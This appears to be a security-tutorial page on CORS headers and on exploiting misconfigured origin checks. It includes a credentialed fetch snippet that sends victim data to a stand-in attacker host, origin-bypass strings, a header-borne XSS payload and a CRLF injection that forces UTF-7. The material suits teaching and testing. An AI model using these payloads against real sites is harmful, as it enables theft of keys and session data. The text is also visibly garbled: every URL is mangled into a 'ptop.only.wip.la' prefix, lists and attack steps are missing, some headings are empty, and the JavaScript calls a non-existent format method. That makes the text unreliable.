CORS Misconfiguration
CORS Misconfiguration
Cross-origin resource sharing (CORS) is a browser mechanism which enables controlled access to resources located outside of a given domain. It
extends and adds flexibility to the same-origin policy (SOP).
{% hint style="info" %} The same-origin policy is a restrictive cross-origin specification that limits the ability for a website to interact with resources
outside of the source domain {% endhint %}
The CORS standard works by adding new HTTP headers that let servers describe which origins are permitted to read that information from a web
browser. A web application executes a cross-origin HTTP request when it requests a resource that has a different origin from its own.
{% hint style="info" %} Origin is the following triple: (scheme, host, port) {% endhint %}
For HTTP request methods that can cause side-effects on server data, the specification mandates that browsers preflight the request, soliciting
supported methods from a server with the HTTP OPTIONS request method, and then, upon approval from a server, sending the actual request.
Servers can also inform clients whether credentials should be sent with requests.
CORS failures result in errors, but specifics about the error are not available to JavaScript.
Simple requests
Simple requests do not trigger a CORS preflight. A simple request is one that meets all the following conditions:
HEAD
POST
Accept-Language
Content-Language
Content-Type
DPR
Downlink
Save-Data
Viewport-Width
Width
multipart/form-data
text/plain
No event listeners are registered on any XMLHttpRequestUpload object used in a request (these are accessed using the XMLHttpRequest.upload
property).
No ReadableStream object is used in a request.
Preflighted requests
Preflighted requests first send a HTTP request by the OPTIONS method to a resource on an other domain, to determine if an actual request is safe to
send.
{% hint style="info" %} Cookies set in CORS responses are subject to normal third-party cookie policies {% endhint %}
Origin
Origin: <origin>
The Origin header indicates an origin of a cross-site access request or preflight request. The origin parameter is a URI indicating a server from
which the request initiated. It does not include any path information, but only a server name.
In any access control request, the Origin header is always sent {% endhint %}
Access-Control-Request-Method
Access-Control-Request-Method: <method>
The Access-Control-Request-Method is used when issuing a preflight request to let a server know what HTTP method will be used when an actual
request is made.
Access-Control-Request-Headers
The Access-Control-Request-Headers header is used when issuing a preflight request to let a server know what HTTP headers will be used when an
actual request is made.
Access-Control-Allow-Origin
Access-Control-Allow-Origin: <origin-or-null> | *
The Access-Control-Allow-Origin specifies either a single origin (or null), which tells browsers to allow that origin to access a resource. For requests
without credentials - the '*' wildcard, to tell browsers to allow any origin to access a resource.
If a server specifies a single origin rather than the '*' wildcard, a server should also set Origin in the Vary response header - to indicate to clients
that server responses will differ based on the value of the Origin request header.
Access-Control-Allow-Methods
The Access-Control-Allow-Methods header specifies a method or methods allowed when accessing a resource. This is used in response to a preflight
request.
Access-Control-Allow-Headers
The Access-Control-Allow-Headers header is used in response to a preflight request to indicate which HTTP headers can be used when making the
actual request.
Access-Control-Expose-Headers
The Access-Control-Expose-Headers header lets a server whitelist headers that browsers are allowed to access. By default, browsers have access to
only the 7 CORS-safelisted response headers:
Cache-Control
Content-Language
Content-Length
Content-Type
Expires
Last-Modified
Pragma
Access-Control-Max-Age
Access-Control-Max-Age: <delta-seconds>
The Access-Control-Max-Age header indicates how long results of a preflight request can be cached.
Access-Control-Allow-Credentials
Access-Control-Allow-Credentials: true
When a request's credentials mode (Request.credentials) is include , browsers will only expose a response to frontend JavaScript code if the
Access-Control-Allow-Credentials value is true.
CORS misconfiguration
Suppose an application that rigorously employs HTTPS also whitelists a trusted subdomain that is using plain HTTP. For instance, when an
application receives the following request:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
In such case, an attacker who is in a position to intercept a victim's traffic can exploit the CORS configuration to compromise a victim's interaction
with the application. The attack involves the next steps:
The attack is effective even if a vulnerable application is otherwise robust in its usage of HTTPS, with no HTTP endpoint and all cookies flagged as
secure.
Broken parser
Most servers use basic string operations to verify the Origin header, but some parse it as a URL instead. This allows you to exploit the browser's
tolerance for unusual characters in domain names.
In Safari, https://website.com%60.attacker.com/ is a valid URL. If a CORS request originating from that URL, the Origin header will look like next
one:
Origin: https://website.com`.attacker.com/
A server may parse this header as https://website.com omitting the `.attacker.com/ part.
Chrome and Firefox supported the _ character in subdomains, that can be used instead of ` to exploit Firefox and Chrome users.
expected-host.com.attacker.com
expected-host.computer
foo@evil-host:80@expected-host
foo@evil-host%20@expected-host
evil-host%09expected-host
127.1.1.1:80\@127.2.2.2:80
127.1.1.1:80:\@@127.2.2.2:80
127.1.1.1:80#\@127.2.2.2:80
ß.evil-host
References:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
An attacker who finds an XSS vulnerability on subdomain.vulnerable-website.com could use that to retrieve an API key using a URL like:
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>
Access-Control-Allow-Origin: *.bar.net
Since you can't use wildcard in Access-Control-Allow-Origin when credentials flag is true, check Access-Control-Allow-Origin, many applications
programmatically generate the Access-Control-Allow-Origin header based on the user-supplied Origin value. If you see a HTTP response with
any Access-Control-* headers but no origins declared, this is a strong indication that an application will generate the header based on a user input.
Other applications will only send CORS headers if they receive a request containing the Origin header, making associated vulnerabilities extremely
easy to miss.
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...
If the response contains any sensitive information such as an API key or CSRF token, you can retrieve this by placing the following script on your
resource:
fetch("https://vulnerable-website.com/sensitive-victim-data", {
credentials: "include"
})
.then((response) => {
document.location = "//malicious-website.com/log?key={0}".format(response.text());
});
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
This is not directly exploitable because there is no way for an attacker to make someone's browser send such a malformed header, but you can
manually craft this request and a server-side cache may save the response and serve it to other people. The current payload will change the page's
character set to UTF-7, which is notoriously useful for creating XSS vulnerabilities.
Cross-site redirects
Requests from serialized data
Request using the file: protocol
Sandboxed cross-origin requests
Some applications might whitelist the null origin to support local development of the application.
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
...
In such case, an attacker can use various tricks to generate a cross-domain request containing the value null in the Origin header. This will satisfy
the whitelist, leading to cross-domain access. For example, this can be done using a sandboxed iframe cross-origin request of the form:
That might sound pretty simple, but immense numbers of developers forget, including the W3C itself.
Suppose an application reflects the contents of a custom header without encoding (reflected XSS in a custom HTTP header):
GET / HTTP/1.1
Host: vulnerable-website.com
X-User-id: <svg/onload=alert(1)>
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
Without CORS, this is impossible to exploit as there is no way to make someone's browser send the X-User-id header cross-domain.
With CORS, you can make them send this request. By itself, that is useless since the response containing injected JavaScript will not be rendered.
However, if Vary: Origin has not been specified the response may be stored in the browser's cache and displayed directly when the browser
navigates to the associated URL.
References
MDN Web Docs: Same-origin policy
MDN Web Docs: Cross-Origin Resource Sharing (CORS)
Portswigger Research: Exploiting CORS misconfigurations for Bitcoins and bounties
Writeup: Tricky CORS Bypass in Yahoo! View
Report: SOP bypass using browser cache